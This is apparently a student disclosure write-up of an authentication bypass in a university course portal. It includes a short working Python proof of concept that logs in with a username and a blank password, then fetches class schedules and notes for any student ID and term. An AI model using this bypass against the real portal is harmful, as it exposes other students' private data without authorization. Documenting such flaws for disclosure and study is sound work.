MyAccess Get Class Schedule/Notes - Vulnerability

Ranbir Aulakh & Kemoy Campbell

My primary goal was to automatically download all my class notes without having to go through the website > login > find class > find notes > download. However, during the debugging process, I realized I left my password blank and only leaving my username in. To my surprise, all my notes were downloaded without needing to have my password. Therefore, it's an authentication bypass. This was unintentional.

Problem? Create a script that automated check MyAccess if any new notes have been uploaded and automated download them. The script should also be able to access notes from previous semester which is not available on MyAccess website directly. Manually log on to my access and download is sort of tedious when you can script the process.

Vulnerability? Authentication Bypass is allowing the user to access information that they do not have permission. It is due to incorrect implementation or forgot to validate it. This violated their privacy rights. This is a breach of the Confidential principle regarding security. This is also an example of broken authentication and session management as outlined by OWASP https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management

Demonstration

I have created a separate python script just for this vulnerability. For this example, I will be using my account (rsa5330).

s = requests.session()

- We need to store

s.post('https://myaccess.rit.edu/myAccess5/process_login.php', data={"un":"userId","pw":"", "signin":""})

- I am passing just my userId through the post (process_login.php). It just authenticated me without having to check my password

s.get('https://myaccess.rit.edu/myAccess5/home_ajax_classes.php?term=' + term)

- Get list of class schedule and be able to download their notes

In short, one can replace the userId with any student enrolled in RIT courses and access their notes without proper authentication.

Usage: python3 GetUserSchedule.py userId term

$ python3 GetUserSchedule.py rsa5330 2175
Contemporary Science: Oceanus
MTSC-234-01 (54473)
Intro to Computer Vision
CSCI-431-01 (53832)
Personal Financial Management
FINC-120-03 (54906)
Pocket Billiards
WREC-16-03 (54600)
Princ of Computer Security
CSCI-455-01 (56655)
Professional Communications
CSCI-471-03 (54226)
Programming Skills
CSCI-541-01 (54166)

It listed all my classes I am currently taking this semester. On top of that, I can view my previous semester by change the term # to 2171.